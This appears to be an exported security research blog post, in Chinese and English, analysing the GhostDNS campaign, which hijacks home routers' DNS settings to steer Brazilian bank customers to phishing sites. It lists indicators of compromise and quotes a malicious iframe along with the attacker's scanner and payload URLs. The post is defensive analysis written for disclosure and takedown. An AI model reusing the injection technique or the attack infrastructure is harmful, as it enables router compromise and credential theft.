\"www.bradesconetempresa.b.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bradescopj.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.br.wordpress.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.caixa.gov.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.citibank.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.credicard.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.hostgator.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.itau.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.kinghost.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.locaweb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.netflix.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.netflix.net\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.painelhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.santander.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.santandernet.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.sicredi.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.superdigital.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.umbler.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.uolhost.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.uolhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n```\n\n以下是其它Rogue DNS Server列表\n\n```\n139.60.162.188\t \"AS395839 HOSTKEY\"\n139.60.162.201\t \"AS395839 HOSTKEY\"\n144.22.104.185\t \"AS7160 Oracle Corporation\"\n173.82.168.104\t \"AS35916 MULTACOM CORPORATION\"\n18.223.2.98\t \"AS16509 Amazon.com, Inc.\"\n185.70.186.4\t \"AS57043 Hostkey B.v.\"\n192.99.187.193\t \"AS16276 OVH SAS\"\n198.27.121.241\t \"AS16276 OVH SAS\"\n200.196.240.104 \t\"AS11419 Telefonica Data S.A.\"\n200.196.240.120\t \"AS11419 Telefonica Data S.A.\"\n35.185.9.164\t \"AS15169 Google LLC\"\n80.211.37.41\t \"AS31034 Aruba S.p.A.\"\n```\n#### Phishing Web System\n\nPishing Web System 需要跟Rogue DNS System协同工作，Rogue DNS Server会修改特定域名的A记录解析结果并返回一个Pishing Web Server地址，然后根据受害者请求的Hostname引导至相应的钓鱼网站程序。\n\n通过对193.70.95.89所劫持的域名进行访问，我们发现攻击者克隆了相应官方网站的首页，并篡改了登录表单提交链接为Pishing Web API接口。然后我们对这些钓鱼网站首页进行指纹识别，计算首页文件md5，共检测到 19 款钓鱼网站程序。\n\n以下是钓鱼程序列表：\n\n```\nmd5, url, hostname, pishing web api\n42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php']\n42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php']\n42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php']\n4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php']\n4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php']\n492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php']\n492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php']\n492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php']\n5838b749436a5730b0112a81d6818915 http://193.70.95.89 bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\n70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/salvar.php']\n70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php']\n8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']\n8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']\n97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php']\n9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\ncf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php']\ncf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php']\ncf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php']\nd01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\nf71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php']\nf71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php']\nfbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php']\nffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\nffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php']\n\n```\n\n以下是其它Phishing Web Server列表\n\n```\n193.70.95.89\t\"AS16276 OVH SAS\"\n198.27.121.241\t\"AS16276 OVH SAS\"\n35.237.127.167\t\"AS15169 Google LLC\"\n```\n\n\n\n### 被感染的路由器信息\n\n通过9月21号～9月27号的GhostDNS系统日志，我们观察到其已经感染了 **100k+** 个路由器IP地址，**70+** 款路由器型号。根据国家进行统计巴西占比87.8%。由于路由器设备IP地址会动态更新，实际设备数会有所不同。\n\n\n\n\n\n<center>图5：被感染的路由器IP 国家/地区分布</center>\n\n以下是被感染的路由器IP 国家/地区详细列表\n\n```\nBR 91605\nBO 7644\nAR 2581\nSX 339\nMX 265\nVE 219\nUS 191\nUY 189\nCL 138\nCO 134\nGT 80\nEC 71\nGY 70\nRU 61\nRO 51\nPY 38\nPA 35\nUA 34\nHN 33\nBG 33\n```\n\n\n\n以下是感染成功的路由器Web管理页面title列表\n\n```\n28ZE\nADSL2 PLUS\nAIROS\nAN550602B\nBaseDashboard\nC3T Routers\nDIR600 1\nDIR-615 DLINK\nDlink DIR-610\nDlink DIR-611\nDLINK DIR-905L\nDSL Router\nDSL Router - GKM 1220\nELSYS CPE-2N\nFiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520\nFiberLink101\nGoAhead-Boa\nGoAhead-Webs\nGoAhead-Webs Routers\nGoAhed 302\nGOTHAN\nGREATEK\nGWR-120\nKP8696X\nLink One\nMini_httpd\nMultilaser Router\nOIWTECH\nProqualit Router\nRealtek Semiconductor\nRealtek Semiconductor [Title]\nRoteador ADSL\nRoteador Wireless KLR 300N\nRoteador Wireless N 150Mbps\nRoteador Wireless N 150 Mbps\nRoteador Wireless N 300 Mbps\nRoteador Wireless N 300 Mbps [ LinkOne ] \nRoteador Wireless N 300 Mbps [Link One]\nRoteador Wireless N ( MultiLaser )\nRoteador Wireless N [ MultiLaser ]\nTENDA\nTimDSL\nTL-WR740N / TL-WR741ND\nTL-WR840N\nTL-WR849N\nTP-LINK Nano WR702N\nTP-LINK Roteador Wireless\nTP-LINK Roteador Wireless N WR741ND\nTP-LINK TL-WR941HP\nTP-LINK Wireless AP WA5210G\nTP-LINK Wireless Lite N Router WR740N\nTP-LINK Wireless Lite N Router WR749N\nTP-LINK Wireless N Gigabit Router WR1043ND\nTP-LINK Wireless N Router WR841N/WR841ND\nTP-LINK Wireless N Router WR845N\nTP-LINK Wireless N Router WR941ND\nTP-LINK Wireless Router\nTP-LINK WR340G\nTP-LINK WR720N\nTP-LINK WR740N\nTP-LINK WR741N\nTP-LINK WR743ND\nTP-LINK WR840N\nTP-LINK WR841HP\nTP-LINK WR841N\nTP-LINK WR940N\nTP-LINK WR941N\nTP-LINK WR949N\nWireless-N Router\nWireless Router\nWLAN AP Webserver\nZNID\n```\n\n### 总结\nGhostDNS攻击程序和攻击入口多样性，攻击流程自动化，规模化，已经对互联网造成严重的安全威胁。\n\n我们特别建议巴西家庭宽带用户及时更新路由器软件系统，检查路由器DNS地址是否已经被篡改，同时给路由器Web设置复杂的登录凭证。\n\n我们建议相关路由器厂商提升初始密码复杂度，同时建立完善的软件系统安全更新机制。\n\n相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。\n\n####联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n\n#### IoC list\n```\n#Pishing Web Server\n[takendown] 193.70.95.89 \"AS16276 OVH SAS\"\n[takendown] 198.27.121.241\t \"AS16276 OVH SAS\"\n[takendown] 35.237.127.167\t \"AS15169 Google LLC\"\n\n#Rogue DNS Server\n139.60.162.188\t \"AS395839 HOSTKEY\"\n139.60.162.201\t \"AS395839 HOSTKEY\"\n173.82.168.104\t \"AS35916 MULTACOM CORPORATION\"\n18.223.2.98\t \"AS16509 Amazon.com, Inc.\"\n185.70.186.4\t \"AS57043 Hostkey B.v.\"\n200.196.240.104\t \"AS11419 Telefonica Data S.A.\"\n200.196.240.120\t \"AS11419 Telefonica Data S.A.\"\n80.211.37.41\t \"AS31034 Aruba S.p.A.\"\n[takendown] 35.185.9.164\t \"AS15169 Google LLC\"\n[takendown] 144.22.104.185\t \"AS7160 Oracle Corporation\"\n[takendown] 192.99.187.193\t \"AS16276 OVH SAS\"\n[takendown] 198.27.121.241\t \"AS16276 OVH SAS\"\n\n#Web Admin Server\n[takendown] 198.50.222.139\t \"AS16276 OVH SAS\"\n\n\n#DNSChanger Scanner Server\n[takendown] 104.196.177.180\t \"AS15169 Google LLC\"\n[takendown] 104.196.232.200\t \"AS15169 Google LLC\"\n[takendown] 104.197.106.6\t \"AS15169 Google LLC\"\n[takendown] 104.198.54.181\t \"AS15169 Google LLC\"\n[takendown] 104.198.77.60\t \"AS15169 Google LLC\"\n[takendown] 198.50.222.139\t \"AS16276 OVH SAS\"\n[takendown] 35.185.127.39\t \"AS15169 Google LLC\"\n[takendown] 35.185.9.164\t \"AS15169 Google LLC\"\n[takendown] 35.187.149.224\t \"AS15169 Google LLC\"\n[takendown] 35.187.202.208\t \"AS15169 Google LLC\"\n[takendown] 35.187.238.80\t \"AS15169 Google LLC\"\n[takendown] 35.188.134.185\t \"AS15169 Google LLC\"\n[takendown] 35.189.101.217\t \"AS15169 Google LLC\"\n[takendown] 35.189.125.149\t \"AS15169 Google LLC\"\n[takendown] 35.189.30.127 \"AS15169 Google LLC\"\n[takendown] 35.189.59.155 \"AS15169 Google LLC\"\n[takendown] 35.189.63.168 \"AS15169 Google LLC\"\n[takendown] 35.189.92.68 \"AS15169 Google LLC\"\n[takendown] 35.194.197.94 \"AS15169 Google LLC\"\n[takendown] 35.195.116.90 \"AS15169 Google LLC\"\n[takendown] 35.195.176.44 \"AS15169 Google LLC\"\n[takendown] 35.196.101.227 \"AS15169 Google LLC\"\n[takendown] 35.197.148.253 \"AS15169 Google LLC\"\n[takendown] 35.197.172.214 \"AS15169 Google LLC\"\n[takendown] 35.198.11.42 \"AS15169 Google LLC\"\n[takendown] 35.198.31.197 \"AS15169 Google LLC\"\n[takendown] 35.198.5.34 \"AS15169 Google LLC\"\n[takendown] 35.198.56.227 \"AS15169 Google LLC\"\n[takendown] 35.199.106.0 \"AS15169 Google LLC\"\n[takendown] 35.199.2.186 \"AS15169 Google LLC\"\n[takendown] 35.199.61.19 \"AS15169 Google LLC\"\n[takendown] 35.199.66.147 \"AS15169 Google LLC\"\n[takendown] 35.199.77.82 \"AS15169 Google LLC\"\n[takendown] 35.200.179.26 \"AS15169 Google LLC\"\n[takendown] 35.200.28.69 \"AS15169 Google LLC\"\n[takendown] 35.203.111.239 \"AS15169 Google LLC\"\n[takendown] 35.203.135.65 \"AS15169 Google LLC\"\n[takendown] 35.203.143.138 \"AS15169 Google LLC\"\n[takendown] 35.203.167.224 \"AS15169 Google LLC\"\n[takendown] 35.203.18.30 \"AS15169 Google LLC\"\n[takendown] 35.203.183.182 \"AS15169 Google LLC\"\n[takendown] 35.203.25.136 \"AS15169 Google LLC\"\n[takendown] 35.203.3.16 \"AS15169 Google LLC\"\n[takendown] 35.203.48.110 \"AS15169 Google LLC\"\n[takendown] 35.203.5.160 \"AS15169 Google LLC\"\n[takendown] 35.203.8.203 \"AS15169 Google LLC\"\n[takendown] 35.204.146.109 \"AS15169 Google LLC\"\n[takendown] 35.204.51.103 \"AS15169 Google LLC\"\n[takendown] 35.204.77.160 \"AS15169 Google LLC\"\n[takendown] 35.204.80.189 \"AS15169 Google LLC\"\n[takendown] 35.205.148.72 \"AS15169 Google LLC\"\n[takendown] 35.205.24.104 \"AS15169 Google LLC\"\n[takendown] 35.221.110.75 \"AS19527 Google LLC\"\n[takendown] 35.221.71.123 \"AS19527 Google LLC\"\n[takendown] 35.227.25.22 \"AS15169 Google LLC\"\n[takendown] 35.228.156.223 \"AS15169 Google LLC\"\n[takendown] 35.228.156.99 \"AS15169 Google LLC\"\n[takendown] 35.228.240.14 \"AS15169 Google LLC\"\n[takendown] 35.228.244.19 \"AS15169 Google LLC\"\n[takendown] 35.228.73.198 \"AS15169 Google LLC\"\n[takendown] 35.228.90.15 \"AS15169 Google LLC\"\n[takendown] 35.230.104.237 \"AS15169 Google LLC\"\n[takendown] 35.230.158.25 \"AS15169 Google LLC\"\n[takendown] 35.230.162.54 \"AS15169 Google LLC\"\n[takendown] 35.230.165.35 \"AS15169 Google LLC\"\n[takendown] 35.231.163.40 \"AS15169 Google LLC\"\n[takendown] 35.231.60.255 \"AS15169 Google LLC\"\n[takendown] 35.231.68.186 \"AS15169 Google LLC\"\n[takendown] 35.232.10.244 \"AS15169 Google LLC\"\n[takendown] 35.234.131.31 \"AS15169 Google LLC\"\n[takendown] 35.234.136.116 \"AS15169 Google LLC\"\n[takendown] 35.234.156.85 \"AS15169 Google LLC\"\n[takendown] 35.234.158.120 \"AS15169 Google LLC\"\n[takendown] 35.234.77.117 \"AS15169 Google LLC\"\n[takendown] 35.234.89.25 \"AS15169 Google LLC\"\n[takendown] 35.234.94.97 \"AS15169 Google LLC\"\n[takendown] 35.236.117.108 \"AS15169 Google LLC\"\n[takendown] 35.236.2.49 \"AS15169 Google LLC\"\n[takendown] 35.236.222.1 \"AS15169 Google LLC\"\n[takendown] 35.236.246.82 \"AS15169 Google LLC\"\n[takendown] 35.236.25.247 \"AS15169 Google LLC\"\n[takendown] 35.236.254.11 \"AS15169 Google LLC\"\n[takendown] 35.236.34.51 \"AS15169 Google LLC\"\n[takendown] 35.237.127.167 \"AS15169 Google LLC\"\n[takendown] 35.237.204.11 \"AS15169 Google LLC\"\n[takendown] 35.237.215.211 \"AS15169 Google LLC\"\n[takendown] 35.237.32.144 \"AS15169 Google LLC\"\n[takendown] 35.237.68.143 \"AS15169 Google LLC\"\n[takendown] 35.238.4.122 \"AS15169 Google LLC\"\n[takendown] 35.238.74.24 \"AS15169 Google LLC\"\n[takendown] 35.240.156.17 \"AS15169 Google LLC\"\n[takendown] 35.240.212.106 \"AS15169 Google LLC\"\n[takendown] 35.240.234.169 \"AS15169 Google LLC\"\n[takendown] 35.240.94.181 \"AS15169 Google LLC\"\n[takendown] 35.241.151.23 \"AS15169 Google LLC\"\n[takendown] 35.242.134.99 \"AS15169 Google LLC\"\n[takendown] 35.242.140.13 \"AS15169 Google LLC\"\n[takendown] 35.242.143.117 \"AS15169 Google LLC\"\n[takendown] 35.242.152.241 \"AS15169 Google LLC\"\n[takendown] 35.242.203.94 \"AS15169 Google LLC\"\n[takendown] 35.242.245.109 \"AS15169 Google LLC\"\n[takendown] 40.74.85.45 \"AS8075 Microsoft Corporation\"\n```\n"}]],"markups":[],"sections":[[10,0]],"ghostVersion":"3.0"}

149

post

2018-09-28T10:23:01.000Z

63873b9a8b1c1e0007f52f39

70-different-types-of-home-routers-all-together-100000-are-being-hijacked-by-ghostdns-en

2022-02-09T07:13:37.000Z

public

published

2018-09-29T02:52:00.000Z

70+ different types of home routers(all together 100,000+) are being hijacked by GhostDNS

<!--kg-card-begin: markdown--><p>note:We have informed various ISPs on the IoC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)</p> <h3 id="backgroundintroduction">Background introduction</h3> <p>DNSchanger is not something new and was quite active years ago [<a href="https://en.wikipedia.org/wiki/DNSChanger">1]</a>, we occasionally encountered one every once in a while, but given the impact they have, we normally don’t bother to write any article.</p> <p>With that being said, we have been keeping an eye on a particle one for a while, this one has been active for a long time, and radware has also blogged about it recently[<a href="https://blog.radware.com/security/2018/08/iot-hackers-trick-brazilian-bank-customers/">2]</a>. Starting from September 20, 2018, we noticed the campaign starting to ramp up its’ effort significantly with a whole bunch of new scanners, we think it is time to expose more details and take some needed actions.</p> <p>Just like the regular dnschanger, this campaign attempts to guess the password on the router's web authentication page or bypass the authentication through the dnscfg.cgi exploit, then changes the router's default DNS address to the Rogue DNS Server[<a href="https://en.wikipedia.org/wiki/DNSChanger">3]</a> through the corresponding DNS configuration interface.</p> <p>But this campaign has more, we have found three related DNSChanger programs, which we call Shell DNSChanger, Js DNSChanger and PyPhp DNSChanger according to their programming languages.</p> <p>Furthermore, the above DNSChanger Systems are only part of a larger system that the malware campaign runs. The whole campaign also includes: Phishing Web System, Web Admin System, Rogue DNS System. These four parts work together to perform DNS hijacking function. Here we call the whole campaign GhostDNS.</p> <p>Currently the campaign mainly focuses on Brazil, we have counted <strong>100k+</strong> infected router IP addresses (87.8% located in Brazil), and <strong>70+</strong> router/firmware have been involved, and <strong>50+</strong> domain names such as some big banks in brazil , even Netflix, Citibank.br have been hijacked to steal the corresponding website login credentials.</p> <h3 id="ghostdnssystem">GhostDNS system</h3> <p>The GhostDNS system consists of four parts: DNSChanger module, Phishing Web module, Web Admin module, Rogue DNS module. Among them, the DNSChanger module is responsible for information collection and exploitation.</p> <p><a href="__GHOST_URL__/content/images/2018/10/ghostdns.png"><img src="__GHOST_URL__/content/images/2018/10/ghostdns2.png" /></a><center>Figure 1: Flow chart of GhostDNS（click to enlarge image）</center></p> <h4 id="dnschangersystem">DNSChanger System</h4> <p>The DNSChanger module is the main module of GhostDNS. The attacker uses three DNSChanger sub-modules to carry out attack against routers on both internet and intranet networks. The module includes <strong>100+</strong> attack scripts altogether, affecting <strong>70+</strong> different routers.</p> <p>The three DNSChanger sub-modules<br> <a href="__GHOST_URL__/content/images/2018/09/dnschanger.jpg"><img src="__GHOST_URL__/content/images/2018/09/dnschanger-3.jpg" /></a></p> <h4 id="theshelldnschangersubmodule">The Shell DNSChanger sub-module</h4> <p>The Shell DNSChanger was first available around June 2016. It is basically a combination of <strong>25</strong> attack Shell scripts, which works on <strong>21</strong> routers/firmware.</p> <p>This sub-module is only being used lightly, with limited deployment by the attacker.</p> <p>This sub-module uses a third-party program, Fast HTTP Auth Scanner v0.6 (FScan) to perform scan. It's configured with a large number of scanning rules, a list of user passwords, and some startup scripts. The Fscan scan IP range is a list of selected network segments, most of which are attributed to Brazil.</p> <p>After the initial scan, this sub-module then uses the router device information collected to perform password crack on the web authentication pages of these routers. If it is success, the default DNS address on the router will be changed to a Rogue DNS server.</p> <p>The following is the key code structure of Shell DNSChanger</p> <pre><code class="language-bash">├── brasil ├── changers │   ├── 3com1 │   ├── aprouter │   ├── dlink1 │   ├── dlink2 │   ├── dlink3 │   ├── dlink4 │   ├── dlink5 │   ├── dlink6 │   ├── dlink7 │   ├── dlink7_ │   ├── globaltronic │   ├── huawei │   ├── intelbrass │   ├── kaiomy │   ├── mikrotik │   ├── oiwtech │   ├── ralink │   ├── realtek │   ├── speedstream │   ├── speedtouch │   ├── speedtouch2 │   ├── tplink1 │   ├── tplink2 │   ├── tplink3 │   ├── triz │   └── viking ├── configs ├── logs ├── mdetector ├── mikrotik ├── ralink ├── src │   ├── BasicAuth.cpp │   ├── Makefile │   ├── Net-Telnet-3.03.tar.gz │   ├── base64.cpp │   ├── config.cpp │   ├── fscan.cpp │   ├── md5.cpp │   ├── md5.h │   ├── sockets.cpp │   ├── sslscanner.h │   ├── ulimit │   └── webforms.cpp ├── .fscan └── .timeout </code></pre> <p>The following are affected routers/firmwares that we have identified</p> <pre><code class="language-bash">3COM OCR-812 AP-ROUTER D-LINK D-LINK DSL-2640T D-LINK DSL-2740R D-LINK DSL-500 D-LINK DSL-500G/DSL-502G Huawei SmartAX MT880a Intelbras WRN240-1 Kaiomy Router MikroTiK Routers OIWTECH OIW-2415CPE Ralink Routers SpeedStream SpeedTouch Tenda TP-LINK TD-W8901G/TD-W8961ND/TD-8816 TP-LINK TD-W8960N TP-LINK TL-WR740N TRIZ TZ5500E/VIKING VIKING/DSLINK 200 U/E </code></pre> <h4 id="thejsdnschangersubmodule">The Js DNSChanger sub-module</h4> <p>Js DNSChanger is mainly written in Javascript. It involves 10 attack scripts, which can infect 6 routers/firmware. Its functional structure is mainly divided into scanners, payload generators and attack programs. The Js DNSChanger program is usually injected into phishing websites, so it works together with the Pishing Web System.</p> <p>For example, a Js DNSChanger code on the home page of <code>35.236.25.247</code> (the title of the website is: Convertidor Youtube Mp3 | Mp3 youtube).</p> <pre><code class="language-html">&lt;iframe src=&quot;http://193.70.95.89/2021/&quot; frameborder=&quot;0&quot; height=&quot;0&quot; scrolling=&quot;no&quot; title=&quot;no&quot; width=&quot;0&quot;&gt;&lt;/iframe&gt; </code></pre> <p>The attacker uses the Image() function to perform port scan on a list of predefined intranet IP addresses commonly used by routers. If the port is detected to be open, the corresponding intranet IP will be passed along to the payload generator.</p> <pre><code>#Scanner http://193.70.95.89/2021/index2.php </code></pre> <p>The payload generator generates Base64 encoded payload based on the router IP and Rogue DNS IP. The payload includes the attacker program, and is run in the form of Data URI Scheme.</p> <pre><code>#Payload generator http://193.70.95.89/2021/api.init.php?d=192.168.1.1 </code></pre> <p>The attacker program in the payload constructs http requests via jQuery.ajax. These requests perform password guessing on the web authentication page of these routers, and then changes the default DNS address of the router to the Rogue DNS Server through the corresponding DNS configuration interface.</p> <p>The following is part of the code structure of JS DNSChanger:</p> <pre><code class="language-bash">├── api.init.php ├── index.php └── index2.php </code></pre> <p>The following are affected routers/firmwares that we identified</p> <pre><code class="language-bash">A-Link WL54AP3 / WL54AP2 D-Link DIR-905L Roteador GWR-120 Secutech RiS Firmware SMARTGATE TP-Link TL-WR841N / TL-WR841ND </code></pre> <p>The following is the IP range it scans</p> <pre><code>192.168.0.1 192.168.15.1 192.168.1.1 192.168.25.1 192.168.100.1 10.0.0.1 192.168.2.1 </code></pre> <h4 id="thepyphpdnschangersubmodule">The PyPhp DNSChanger sub-module</h4> <p>PyPhp DNSChanger is the core module of DNSChanger, we have observed that the attacker has deployed this program on 100+ servers, most of which on Google Cloud. This sub-module was developed around 2018-04-26, using both python and php. It mainly composes of three parts:</p> <p>Web API. Through which attacker can control and schedule to run the program conveniently.</p> <p>Scanner. The scanner utilizes both Masscan port scanning and Shodan API service (to pick specific banners) to obtain target router IPs located only in Brazil. It is interesting that the Shodan API Key here is also being used by another education and research project on Github. We suspect that this Shodan API key is leaked and abused by attacker.</p> <p>Information of the Shodan API key is as follow:</p> <pre><code class="language-bash">API key: LI****Lg9P8****X5iy****AaRO Created: 2017-11-03T16:55:13.425000 Plan: EDU </code></pre> <p>Attack Module. The attack module totally includes 69 attack scripts against 47 different routers/firmwares. It collects active router IPs from scanner and launchs Web authentication bruteforce or dnscfg.cgi vulnerability exploits to bypass authentication, after that it will change the routers' default DNS resolver to the rogue DNS server, which is used to hijack specific websites for phishing.<br> Interestingly, we discovered that the PyPhp DNSChanger node has some nice infection statistics, from which we can see the current infection details on each node. Below is a site screenshot.</p> <p><img src="__GHOST_URL__/content/images/2018/09/log.png" alt="log" loading="lazy"></p> <p>The code structure of PyPhp DNSChanger</p> <pre><code class="language-bash">├── api ├── application │   ├── class │   │   ├── routers │   │   │   ├── routers.28ZE.php │   │   │   ├── routers.AN5506-02-B.php │   │   │   ├── routers.ELSYSCPE-2N.php │   │   │   ├── routers.PQWS2401.php │   │   │   ├── routers.TLWR840N.php │   │   │   ├── routers.WR941ND.php │   │   │   ├── routers.airos.php │   │   │   ├── routers.c3t.php │   │   │   ├── routers.cisconew.php │   │   │   ├── routers.dlink.905.php │   │   │   ├── routers.dlink.dir600.php │   │   │   ├── routers.dlink.dir610.php │   │   │   ├── routers.dlink.dir610o.php │   │   │   ├── routers.dlink.dir615.php │   │   │   ├── routers.fiberhome.php │   │   │   ├── routers.fiberhomenew.php │   │   │   ├── routers.ghotanboa.php │   │   │   ├── routers.goahed.php │   │   │   ├── routers.greatek.php │   │   │   ├── routers.greatek2.php │   │   │   ├── routers.gwr120.php │   │   │   ├── routers.huawei.php │   │   │   ├── routers.intelbras.php │   │   │   ├── routers.intelbras.wrn240.php │   │   │   ├── routers.intelbras.wrn300.php │   │   │   ├── routers.intelbrasN150.php │   │   │   ├── routers.linkone.php │   │   │   ├── routers.livetimdslbasic.php │   │   │   ├── routers.livetimsagecom.php │   │   │   ├── routers.mikrotkit.php │   │   │   ├── routers.multilaser.php │   │   │   ├── routers.oiwtech.php │   │   │   ├── routers.othermodels.php │   │   │   ├── routers.sharecenter.php │   │   │   ├── routers.thomson.php │   │   │   ├── routers.timdsl.php │   │   │   ├── routers.timvmg3312.php │   │   │   ├── routers.wirelessnrouter.php │   │   │   ├── routers.wrn1043nd.php │   │   │   ├── routers.wrn342.php │   │   │   ├── routers.wrn720n.php │   │   │   ├── routers.wrn740n.php │   │   │   ├── routers.wrn749n.php │   │   │   ├── routers.wrn840n.php │   │   │   ├── routers.wrn841n.php │   │   │   └── routers.wrn845n.php │   │   ├── routers_py │   │   │   ├── WR300build8333.py │   │   │   ├── install.sh │   │   │   ├── router.ArcherC7.py │   │   │   ├── router.FiberLink101.py │   │   │   ├── router.GEPONONU.py │   │   │   ├── router.PNRT150M.py │   │   │   ├── router.QBR1041WU.py │   │   │   ├── router.RoteadorWirelessN300Mbps.py │   │   │   ├── router.SAPIDORB1830.py │   │   │   ├── router.TENDAWirelessNBroadbandrouter.py │   │   │   ├── router.TLWR840N.py │   │   │   ├── router.TLWR841N.py │   │   │   ├── router.TLWR849N.py │   │   │   ├── router.TPLINKWR841N.py │   │   │   ├── router.TechnicLanWAR54GSv2.py │   │   │   ├── router.TendaWirelessRouter.py │   │   │   ├── router.WEBManagementSystem.py │   │   │   ├── router.WLANBroadbandRouter.py │   │   │   ├── router.WebUI.py │   │   │   ├── router.WirelessNWRN150R.py │   │   │   ├── router.WirelessRouter.py │   │   │   ├── router.WiveNGMTrouterfirmware.py │   │   │   ├── router.ZXHNH208N.py │   │   │   └── scan │   